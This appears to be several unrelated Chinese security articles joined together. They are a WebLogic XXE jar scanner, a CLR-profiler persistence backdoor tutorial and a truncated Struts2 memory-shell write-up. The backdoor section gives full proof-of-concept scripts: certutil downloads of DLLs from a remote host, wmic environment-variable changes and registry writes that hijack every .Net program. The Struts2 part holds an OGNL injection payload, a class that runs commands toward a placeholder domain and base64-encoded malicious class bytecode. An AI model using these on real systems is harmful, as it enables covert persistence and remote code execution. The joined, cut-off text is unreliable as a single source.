public static void Test(String jarName,String classname) throws IOException {
URL url1 = new URL("jar:file:"+jarName.replaceAll("\\","/")+"!"+classname);
URL url2 = new URL("jar:file:"+jarName.replaceAll("\\","/")+"!"+classname);
// 标准输入流
try {
InputStream is1 = url1.openStream();
InputStream is2 = url2.openStream();
if (processEvilPackage(is1)&&processReadObject(is2)) {
System.out.println(classname + " this class maybe have XXE!!!!!!!!!");
}
}catch (Exception e)
{
System.out.println(classname + " java.io.FileNotFoundException");
}
}
private static boolean processEvilPackage(InputStream input) throws IOException {
InputStreamReader isr = new InputStreamReader(input);
BufferedReader reader = new BufferedReader(isr);
String line;
//遍历查找库
while ((line = reader.readLine()) != null) {
// System.out.println(line);
if (SearchEvilPackage(line))
{
return true;
}
}
reader.close();
return false;
}
private static boolean processReadObject(InputStream input) throws IOException {
InputStreamReader isr = new InputStreamReader(input);
BufferedReader reader = new BufferedReader(isr);
String line;
//遍历查找库
while ((line = reader.readLine()) != null) {
// System.out.println(line);
if (SearchReadObject(line))
{
return true;
}
}
reader.close();
return false;
}
private static boolean SearchEvilPackage(String line)
{
//表达式
String XXE_Regex = ".*javax.xml.parsers.DocumentBuilderFactory.*|.*javax.xml.parsers.SAXParser.*|.*javax.xml.transform.TransformerFactory.*|.*javax.xml.validation.Validator.*|.*javax.xml.validation.SchemaFactory.*|.*javax.xml.transform.sax.SAXValidator.*|.*javax.xml.transform.sax.SAXSource.*|.*org.xml.sax.XMLReader.*|.*org.xml.sax.helpers.XMLReaderFactory.*|.*org.dom4j.io.SAXReader.*|.*org.jdom.input.SAXBuilder.*|.*org.jdom2.input.SAXBuilder.*|.*javax.xml.bind.Unmarshaller.*|.*javax.xml.xpath.XpathExpression.*|.*javax.xml.stream.XMLStreamReader.*|.*org.apache.commons.digester3.Digester.*|.*javax.xml.transform.stream.StreamSource.*|.*javax.xml.parsers.SAXParserFactory.*|.*javax.xml.ws.EndpointReference.*";
boolean b = Pattern.matches(XXE_Regex, line);
if(b){
return true;
}else
{
return false;
}
}
private static boolean SearchReadObject(String line)
{
//表达式
String Ser_Regex = ".*Externalizable.*|.*Serializable.*|.*readObject.*|.*readExternal.*";
boolean b = Pattern.matches(Ser_Regex, line);
if(b){
return true;
}else
{
return false;
}
}
}
package Search;
import java.io.File;
import java.util.Enumeration;
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;
import java.util.regex.Pattern;
public class SearchClassInJar {
private String className;
private String className_temp;
private String className_final;
private String jarDir;
private Integer totalNum = 0;
public SearchClassInJar(String className,String jarDir) {
this.className = className;
this.jarDir = jarDir;
}
//将jar中的类文件路径形式改为包路径形式
protected String getClassName(ZipEntry entry) {
StringBuffer className = new StringBuffer(entry.getName().replace('/','.'));
return className.toString();
}
// 从jar从搜索目标类
public void searchClass(boolean recurse) {
searchDir(this.jarDir, recurse);
System.out.println(String.format("[!] Find %s classes",this.totalNum));
System.out.println();
}
//递归搜索目录和子目录下所有jar和zip文件
protected void searchDir(String dir, boolean recurse) {
try {
File d = new File(dir);
if (!d.isDirectory()) {
return;
}
File[] files = d.listFiles();
for (int i = 0; i < files.length; i++) {
if (recurse && files[i].isDirectory()) {
searchDir(files[i].getAbsolutePath(), true);
} else {
String filename = files[i].getAbsolutePath();
if (filename.endsWith(".jar")||filename.endsWith(".zip")) {
System.out.println("---------------------扫描"+filename+"中----------------------------");
ZipFile zip = new ZipFile(filename);
Enumeration entries = zip.entries();
while (entries.hasMoreElements()) {
ZipEntry entry = (ZipEntry) entries.nextElement();
String thisClassName = getClassName(entry);
if (wildcardEquals(this.className.toLowerCase(),thisClassName.toLowerCase()) || wildcardEquals(this.className.toLowerCase() + ".class",thisClassName.toLowerCase())) {
JarFileReader jarFileReader = new JarFileReader();
className_temp = "/"+thisClassName.replaceAll("\.","/");
className_final = className_temp.substring(0,className_temp.length()-5)+".java";
jarFileReader.Test(filename,className_final);
totalNum++;
}
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
//通配符匹配
private boolean wildcardEquals(String wildcard, String str) {
String regRule = WildcardToReg(wildcard);
return Pattern.compile(regRule).matcher(str).matches();
}
//将通配符转换为正则表达式
private static String WildcardToReg(String path) {
char[] chars = path.toCharArray();
int len = chars.length;
StringBuilder sb = new StringBuilder();
boolean preX = false;
for(int i=0;i<len;i++){
if (chars[i] == '*'){
if (preX){
sb.append(".*");
preX = false;
}else if(i+1 == len){
sb.append("[^/]*");
}else{
preX = true;
continue;
}
}else{
if (preX){
sb.append("[^/]*");
preX = false;
}
if (chars[i] == '?'){
sb.append('.');
}else{
sb.append(chars[i]);
}
}
}
return sb.toString();
}
public static void main(String args[]) {
SearchClassInJar scij = new SearchClassInJar(args[0],args[1]);
//args[0]写 *.java
//args[1]写 C:UsersxxxxxDesktopctf-toolsjd-guiweblogic（反编译好的weblogic.jar路径）
scij.searchClass(true);
}
}
看下扫描结果，CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650这几类都匹配出来了，还额外找到EJBTaglibDescriptor这个类在反序列化时也存在XXE。POC构造看：<https://paper.seebug.org/1067/>
## 4、漏洞分析
提交这个洞后，orcle那边说撞洞了，后来把正则改了改，又找到了一个本地触发的XXE有点小鸡肋，算是混个CVE吧。
扫出这个类。
/com/octetstring/vde/schema/InitSchema.java
触发漏洞是在启动weblogic服务时，在”D:weblogic10wlserver_10.3serverlibschema.core.xml”文件写入
触发漏洞位置
schema.core.xml是写死的
调用栈： | 社区文章 |
## 0x00 前言
在之前的文章《Use AppDomainManager to maintain
persistence》介绍了通过AppDomainManager实现的一种被动后门触发机制，演示了如何劫持系统.Net程序powershell_ise.exe，但前提是需要获得管理员权限。
这一次将更进一步，介绍一种无需管理员权限的后门，并能够劫持所有.Net程序。
## 0x01 简介
本文将要介绍以下内容：
· CLR的使用
· 后门开发思路
· POC编写
· 后门检测
## 0x02 CLR的使用
**CLR：**
全称Common Language Runtime（公共语言运行库），是一个可由多种编程语言使用的运行环境。
CLR是.NET Framework的主要执行引擎，作用之一是监视程序的运行：
· 在CLR监视之下运行的程序属于“托管的”（managed）代码
· 不在CLR之下、直接在裸机上运行的应用或者组件属于“非托管的”（unmanaged）的代码
**CLR的使用：**
测试系统： Win8 x86
**1、启动cmd**
输入如下代码：
SET COR_ENABLE_PROFILING=1
SET COR_PROFILER={11111111-1111-1111-1111-111111111111}
**注：**
{11111111-1111-1111-1111-111111111111}表示CLSID
可设置为任意数值，只要不和系统常用CLSID冲突就好
2、测试dll
使用弹框dll，下载地址：
<https://raw.githubusercontent.com/3gstudent/test/master/msg.dll>
dll开发过程可参考：
<https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/>
可在cmd下实现直接下载，代码如下：
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
操作如下图
**注：**
delete是为了清除下载文件的缓存
更多关于使用certutil.exe下载文件的利用细节可参考文章：《渗透测试中的certutil.exe》
**3、操作注册表**
注册表路径：HKEY_CURRENT_USERSoftwareClassesCLSID
新建子项{11111111-1111-1111-1111-111111111111}，同步骤1 cmd输入的CLSID对应
新建子项InProcServer32
新建键值REG_SZ ThreadingModel：Apartment
默认路径改为msg.dll的路径
修改后的注册表如下图
对应cmd代码如下：
SET KEY=HKEY_CURRENT_USERSoftwareClassesCLSID{11111111-1111-1111-1111-111111111111}InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
**4、在当前cmd启动.net程序**
例如powershell.exe，启动时加载msg.dll，弹框
操作如下图
**注:**
使用其他cmd执行powershell.exe不会加载msg.dll
**原因：**
SET COR_ENABLE_PROFILING=1
SET COR_PROFILER={11111111-1111-1111-1111-111111111111}
只作用于当前cmd，可通过cmd命令"set"判断
当然，执行其他.net程序也会加载msg.dll
测试如下图
## 0x03 后门开发思路
由以上测试得出结论，使用CLR能够劫持所有.Net程序的启动，但是只能作用于当前cmd
能否作用于全局呢？
自然想到了修改环境变量
通常，修改环境变量使用面板操作的方式，如下图
能否通过命令行修改环境变量呢？
自然想到了WMI
修改系统变量（需要管理员权限）：
wmic ENVIRONMENT create name="1",username="<system>",VariableValue="1"
修改当前用户变量（当前用户权限）：
wmic ENVIRONMENT create name="2",username="%username%",VariableValue="2"
**注：**
通过WMI修改环境变量需要系统重启或注销重新登录才能生效
接下来需要测试，是否只需要修改当前用户权限就能够实现作用于全局，答案是肯定的。
添加当前用户的环境变量：
wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
重启后，成功修改，如下图
现在直接启动.Net程序，弹框，成功加载msg.dll
如下图
至此，后门思路验证成功
## 0x04 POC编写
对于32位操作系统，参考0x03的代码就好，x86 POC如下：
wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
SET KEY=HKEY_CURRENT_USERSoftwareClassesCLSID{11111111-1111-1111-1111-111111111111}InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
对应64位系统，需要注意重定向问题，注册表存在32位和64位两个位置
**注:**
更多关于64位系统的重定向细节可参考文章《关于32位程序在64位系统下运行中需要注意的重定向问题》
结合到本文，32位需要对应32位的dll，64位对应64位的dll
所以，需要准备64位的dll，下载地址如下：
<https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll>
过程不再赘述，64位POC如下：
wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll delete
SET KEY=HKEY_CURRENT_USERSoftwareClassesCLSID{11111111-1111-1111-1111-111111111111}InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg_x64.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
SET KEY=HKEY_CURRENT_USERSoftwareClassesWoW6432NodeCLSID{11111111-1111-1111-1111-111111111111}InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
能够分别劫持32位和64位的.Net程序，完整测试如下图
注：
更多代码细节可见github，地址如下：
<https://github.com/3gstudent/CLR-Injection>
## 0x05 后门检测
结合利用方式，检测方法如下：
· 检查环境变量COR_ENABLE_PROFILING和COR_PROFILER
· 检查注册表键值HKEY_CURRENT_USERSoftwareClassesCLSID
## 0x06 小结
本文介绍了通过CLR劫持.Net程序的后门，特点是无需管理员权限，并能够劫持所有.Net程序。更重要的是,系统默认会调用.net程序,导致后门自动触发。
>本文为 3gstudent 原创稿件，授权嘶吼独家发布，未经许可禁止转载，如若转载，请联系嘶吼编辑：
<http://www.4hou.com/technology/6863.html> | 社区文章 |
### 0x01 背景
之前写过一篇关于Struts2绕过的文章，当时就想过怎么去注入内存马，不然加载恶意类去执行命令，也挺烦的，再加上一直都没有看到过struts2内存马注入的工具、文章，奈何当时太菜，没有继续深入；前几天被mc提醒了一下，说是看到过Struts2内存马的一篇文章(放到文末了)，去看了一下，又勾起了对struts2内存马的研究欲望；
### 0x02 代码注入内存马成功
在action直接执行命令，是可以直接注入内存马
struts.xml如下
当访问login111的test2函数，注入内存马
执行命令
### 0x03 ognl注入内存马失败
#### 0x001 ognl注入失败的问题
这里想通过ognl表达式去注入内存马，发现不行，原因如下:
* 如果把函数全部放到恶意类class里面，会找不到ActionContext.class，从而报错
* 如果打算把函数全部放到ognl表达式里面，会发现在进行Thread创建对象的时候无法创建
当尝试使用ognl表达式一直赋值到obj5，再通过恶意类加载剩余的函数时，发现注入不了内存马，原因还是在于Classloader的问题，找不到相应的class，一直到这里，也不是没有收获的
发现了一个有点用的东西，可能可以进行自定义命令运行，如下:
这里payload含义是加载了hello.class，传入了cccc这个参数
redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.net.URL[]{new java.net.URL("file:/xxxx/xxxxx")},#cc0=new java.net.URLClassLoader(#bb0),#cc1=#cc0.loadClass("hello"),#ot.print(#cc1.getDeclaredMethods()[0].invoke("main",new java.lang.String[]{"a"},"cccc")),#ot.flush(),#ot.close()}
hello.class如下
import java.lang.Runtime;
import java.lang.Process;
public class hello1 {
public hello1(String a) {
try {
String[] commands = { "ping","-c","1" ,a + "123412.xxxx.xxxxx.cn" };
Process pc = Runtime.getRuntime().exec(commands);
} catch (Exception e) {
} }
public static void main(String[] args, String a) {
hello1 aa = new hello1(a);
}
}
可以自定义对域名进行请求，那么可以扩展成为shell去执行任意命令，而不需要去更改class
#### 0x002 问题1
接着说问题1，如果找不到ActionContext.class
贴上当时问的很傻的问题(classloader不同，当然不能这么放类)
那么我直接通过ClassLoader.defineClass去加载这个类呢
//import org.apache.catalina.loader.WebappClassLoaderBase;
//import org.apache.struts2.ServletActionContext;
import java.io.FileWriter;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.SecureClassLoader;
import java.util.Arrays;
import java.util.LinkedHashMap;
import com.opensymphony.xwork2.config.entities.ActionConfig;
import com.opensymphony.xwork2.util.location.Located;
import java.net.URLClassLoader;
/**
* @DESCRIPTION:
* @USER: f0ng
* @DATE: 2023/2/23 下午3:44
*/public class hello {
public hello(java.util.LinkedHashMap obj5) throws Exception {
try {
String s = "yv66vgAAADQApAoAIQBFCgBGAEcHAEgIAEkKAEYASgcASwgATAcATQsACABOBwBPCgBQAFEIAFILAAYAUwoAUABUCgBVAFYKAAoAVwgAWAoACgBZCgAKAFoKAFsAXAoAWwBdCgBeAF8HAGAKAGEAYgoAXgBjCgBkAGUJAGYAZwoAaABpCgBqAGsKADoAbAoAbQBuCgBqAFwHAG8BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFUxjb20vZGVtby9hY3Rpb24vQ21kOwEAB2V4ZWN1dGUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAApFeGNlcHRpb25zBwBwAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABHBvb2wBABVMamF2YXNzaXN0L0NsYXNzUG9vbDsBAAVjbGF6egEAE0xqYXZhc3Npc3QvQ3RDbGFzczsBAAdlbmNvZGVyBwBxAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAGkxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQABcwEAEkxqYXZhL2xhbmcvU3RyaW5nOwcAcgcAcwcAdAEAClNvdXJjZUZpbGUBAAhDbWQuamF2YQwAIgAjBwB1DAB2AHcBACBvcmcvYXBhY2hlL3N0cnV0czIvU3RydXRzU3RhdGljcwEANWNvbS5vcGVuc3ltcGhvbnkueHdvcmsyLmRpc3BhdGNoZXIuSHR0cFNlcnZsZXRSZXF1ZXN0DAB4AHkBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQA2Y29tLm9wZW5zeW1waG9ueS54d29yazIuZGlzcGF0Y2hlci5IdHRwU2VydmxldFJlc3BvbnNlAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UMAHoAewEAEWphdmEvdXRpbC9TY2FubmVyBwB8DAB9AH4BAAFjDAB/AIAMAIEAggcAgwwAhACFDAAiAIYBAAJcQQwAhwCIDACJACoHAIoMAIsAjAwAjQAjBwCODACPAJABABNjb20vZGVtby9hY3Rpb24vQ21kBwCRDACSACoMAHgAkwcAlAwAlQCWBwCXDACYAJkHAJoMAJsAnAcAnQwAiwCeDACfAKAHAKEMAKIAowEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAYamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyAQAbamF2YXNzaXN0L05vdEZvdW5kRXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAIGphdmFzc2lzdC9DYW5ub3RDb21waWxlRXhjZXB0aW9uAQAlY29tL29wZW5zeW1waG9ueS94d29yazIvQWN0aW9uQ29udGV4dAEACmdldENvbnRleHQBACkoKUxjb20vb3BlbnN5bXBob255L3h3b3JrMi9BY3Rpb25Db250ZXh0OwEAA2dldAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEAE2phdmFzc2lzdC9DbGFzc1Bvb2wBAApnZXREZWZhdWx0AQAXKClMamF2YXNzaXN0L0NsYXNzUG9vbDsBAA9qYXZhL2xhbmcvQ2xhc3MBAAdnZXROYW1lAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXNzaXN0L0N0Q2xhc3M7AQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAEWphdmFzc2lzdC9DdENsYXNzAQAKdG9CeXRlY29kZQEABCgpW0IBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAEKEkpVgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TdHJpbmcBAAZsZW5ndGgBAAMoKUkAIQAXACEAAAAAAAMAAQAiACMAAQAkAAAALwABAAEAAAAFKrcAAbEAAAACACUAAAAGAAEAAAAQACYAAAAMAAEAAAAFACcAKAAAAAEAKQAqAAIAJAAAAJoABgADAAAATLgAAhIEtgAFwAAGTLgAAhIHtgAFwAAITSy5AAkBALsAClm4AAsrEgy5AA0CALYADrYAD7cAEBIRtgAStgATtgAULLkACQEAtgAVAbAAAAACACUAAAAWAAUAAAATAAwAFAAYABYAQQAXAEoAGAAmAAAAIAADAAAATAAnACgAAAAMAEAAKwAsAAEAGAA0AC0ALgACAC8AAAAEAAEAMAAJADEAMgACACQAAACpAAIABQAAADu4ABZMKxIXtgAYtgAZTbgAGk6yABsstgAcvrYAHS0stgActgAeOgSyABsZBLYAH7YAHbIAGxkEtgAgsQAAAAIAJQAAACIACAAAAB0ABAAfAA4AIQASACMAHQAkACcAJQAyACYAOgAnACYAAAA0AAUAAAA7ADMANAAAAAQANwA1ADYAAQAOAC0ANwA4AAIAEgApADkAPQADACcAFAA+AD8ABAAvAAAACAADAEAAQQBCAAIAQwAAAAIARAA8AAAACgABADoAZAA7AAk=";
URLClassLoader loader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
byte[] decode = java.util.Base64.getDecoder().decode(s);
java.lang.reflect.Method var47 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
var47.setAccessible(true);
var47.invoke(loader, "com.demo.action.Cmd", decode, Integer.valueOf("0"), decode.length);
String s2 = "yv66vgAAADEAtAkAHAB4CgAsAHkJABwAegkAHAB7CQAcAHwHAH0KAAYAeQkAHAB+CQAcAH8HAIAKAAoAeQkAHACBCQAcAIIHAIMKAA4AeQkAHACECQAcAIUKAAYAhgoACgCHCgAOAIcLAIgAiQgAigsAiACLCwCMAI0KAI4AjwgAkAsAiACRBwCSCgCTAI8KAJMAlAoAjgCUBwCVCgAgAHkIAJYKACAAlwgAmAgAmQgAmggAmwgAnAoAIACdCACeCgAgAJ8HAKAHAKEHAKIBAAdCdWlsZGVyAQAMSW5uZXJDbGFzc2VzAQAOREVGQVVMVF9NRVRIT0QBABJMamF2YS9sYW5nL1N0cmluZzsBAA1Db25zdGFudFZhbHVlAQAIV0lMRENBUkQBAAxpbnRlcmNlcHRvcnMBABBMamF2YS91dGlsL0xpc3Q7AQAJU2lnbmF0dXJlAQBOTGphdmEvdXRpbC9MaXN0PExjb20vb3BlbnN5bXBob255L3h3b3JrMi9jb25maWcvZW50aXRpZXMvSW50ZXJjZXB0b3JNYXBwaW5nOz47AQAGcGFyYW1zAQAPTGphdmEvdXRpbC9NYXA7AQA1TGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7PjsBAAdyZXN1bHRzAQBZTGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TGNvbS9vcGVuc3ltcGhvbnkveHdvcmsyL2NvbmZpZy9lbnRpdGllcy9SZXN1bHRDb25maWc7PjsBABFleGNlcHRpb25NYXBwaW5ncwEAUkxqYXZhL3V0aWwvTGlzdDxMY29tL29wZW5zeW1waG9ueS94d29yazIvY29uZmlnL2VudGl0aWVzL0V4Y2VwdGlvbk1hcHBpbmdDb25maWc7PjsBAAljbGFzc05hbWUBAAptZXRob2ROYW1lAQALcGFja2FnZU5hbWUBAARuYW1lAQAOYWxsb3dlZE1ldGhvZHMBAA9MamF2YS91dGlsL1NldDsBACNMamF2YS91dGlsL1NldDxMamF2YS9sYW5nL1N0cmluZzs+OwEABjxpbml0PgEAOShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA2TGNvbS9vcGVuc3ltcGhvbnkveHdvcmsyL2NvbmZpZy9lbnRpdGllcy9BY3Rpb25Db25maWc7AQA5KExjb20vb3BlbnN5bXBob255L3h3b3JrMi9jb25maWcvZW50aXRpZXMvQWN0aW9uQ29uZmlnOylWAQAEb3JpZwEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEADGdldENsYXNzTmFtZQEAFGdldEV4Y2VwdGlvbk1hcHBpbmdzAQASKClMamF2YS91dGlsL0xpc3Q7AQBUKClMamF2YS91dGlsL0xpc3Q8TGNvbS9vcGVuc3ltcGhvbnkveHdvcmsyL2NvbmZpZy9lbnRpdGllcy9FeGNlcHRpb25NYXBwaW5nQ29uZmlnOz47AQAPZ2V0SW50ZXJjZXB0b3JzAQBQKClMamF2YS91dGlsL0xpc3Q8TGNvbS9vcGVuc3ltcGhvbnkveHdvcmsyL2NvbmZpZy9lbnRpdGllcy9JbnRlcmNlcHRvck1hcHBpbmc7PjsBABFnZXRBbGxvd2VkTWV0aG9kcwEAESgpTGphdmEvdXRpbC9TZXQ7AQAlKClMamF2YS91dGlsL1NldDxMamF2YS9sYW5nL1N0cmluZzs+OwEADWdldE1ldGhvZE5hbWUBAA5nZXRQYWNrYWdlTmFtZQEACWdldFBhcmFtcwEAESgpTGphdmEvdXRpbC9NYXA7AQA3KClMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzs+OwEACmdldFJlc3VsdHMBAFsoKUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xjb20vb3BlbnN5bXBob255L3h3b3JrMi9jb25maWcvZW50aXRpZXMvUmVzdWx0Q29uZmlnOz47AQAPaXNBbGxvd2VkTWV0aG9kAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAGbWV0aG9kAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQABbwEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADGFjdGlvbkNvbmZpZwEACGhhc2hDb2RlAQADKClJAQAGcmVzdWx0AQABSQEACHRvU3RyaW5nAQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAKYWNjZXNzJDAwMgEAmChMY29tL29wZW5zeW1waG9ueS94d29yazIvY29uZmlnL2VudGl0aWVzL0FjdGlvbkNvbmZpZztMY29tL29wZW5zeW1waG9ueS94d29yazIvdXRpbC9sb2NhdGlvbi9Mb2NhdGlvbjspTGNvbS9vcGVuc3ltcGhvbnkveHdvcmsyL3V0aWwvbG9jYXRpb24vTG9jYXRpb247AQACeDABAAJ4MQEAMExjb20vb3BlbnN5bXBob255L3h3b3JrMi91dGlsL2xvY2F0aW9uL0xvY2F0aW9uOwEAClNvdXJjZUZpbGUBABFBY3Rpb25Db25maWcuamF2YQwAowB1DABHAKQMAEIAMgwAQwAyDABAADIBABdqYXZhL3V0aWwvTGlua2VkSGFzaE1hcAwAOQA6DAA8ADoBABNqYXZhL3V0aWwvQXJyYXlMaXN0DAA1ADYMAD4ANgEAEWphdmEvdXRpbC9IYXNoU2V0DABEAEUMAEEAMgwARwClDABHAKYHAKcMAKgAawEAASoMAKkAqgcAqwwArACtBwCuDABlAGYBAAdleGVjdXRlDACvAGYBADRjb20vb3BlbnN5bXBob255L3h3b3JrMi9jb25maWcvZW50aXRpZXMvQWN0aW9uQ29uZmlnBwCwDABqAGsBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEADntBY3Rpb25Db25maWcgDACxALIBAAIgKAEAAS4BAAIoKQEAASkBAAMgLSAMALEAswEAAX0MAG4AUQEALWNvbS9vcGVuc3ltcGhvbnkveHdvcmsyL3V0aWwvbG9jYXRpb24vTG9jYXRlZAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA8Y29tL29wZW5zeW1waG9ueS94d29yazIvY29uZmlnL2VudGl0aWVzL0FjdGlvbkNvbmZpZyRCdWlsZGVyAQAIbG9jYXRpb24BAAMoKVYBABIoTGphdmEvdXRpbC9NYXA7KVYBABkoTGphdmEvdXRpbC9Db2xsZWN0aW9uOylWAQANamF2YS91dGlsL1NldAEABHNpemUBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsBABJqYXZhL3V0aWwvSXRlcmF0b3IBAARuZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvU3RyaW5nAQAIY29udGFpbnMBABBqYXZhL2xhbmcvT2JqZWN0AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAtKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7ACEAHAAsAAEALQALABkAMQAyAAEAMwAAAAIAGgAZADQAMgABADMAAAACABYABAA1ADYAAQA3AAAAAgA4AAQAOQA6AAEANwAAAAIAOwAEADwAOgABADcAAAACAD0ABAA+ADYAAQA3AAAAAgA/AAQAQAAyAAAABABBADIAAAAEAEIAMgAAAAQAQwAyAAAABABEAEUAAQA3AAAAAgBGABAABABHAEgAAQBJAAAAtwADAAQAAABLKrcAAiortQADKiy1AAQqLbUABSq7AAZZtwAHtQAIKrsABlm3AAe1AAkquwAKWbcAC7UADCq7AApZtwALtQANKrsADlm3AA+1ABCxAAAAAgBKAAAAKgAKAAAAQAAEAEEACQBCAA4AQwATAEQAHgBFACkARgA0AEcAPwBIAEoASQBLAAAAKgAEAAAASwBMAE0AAAAAAEsAQgAyAAEAAABLAEMAMgACAAAASwBAADIAAwAEAEcATgABAEkAAADMAAQAAgAAAHAqtwACKiu0AAS1AAQqK7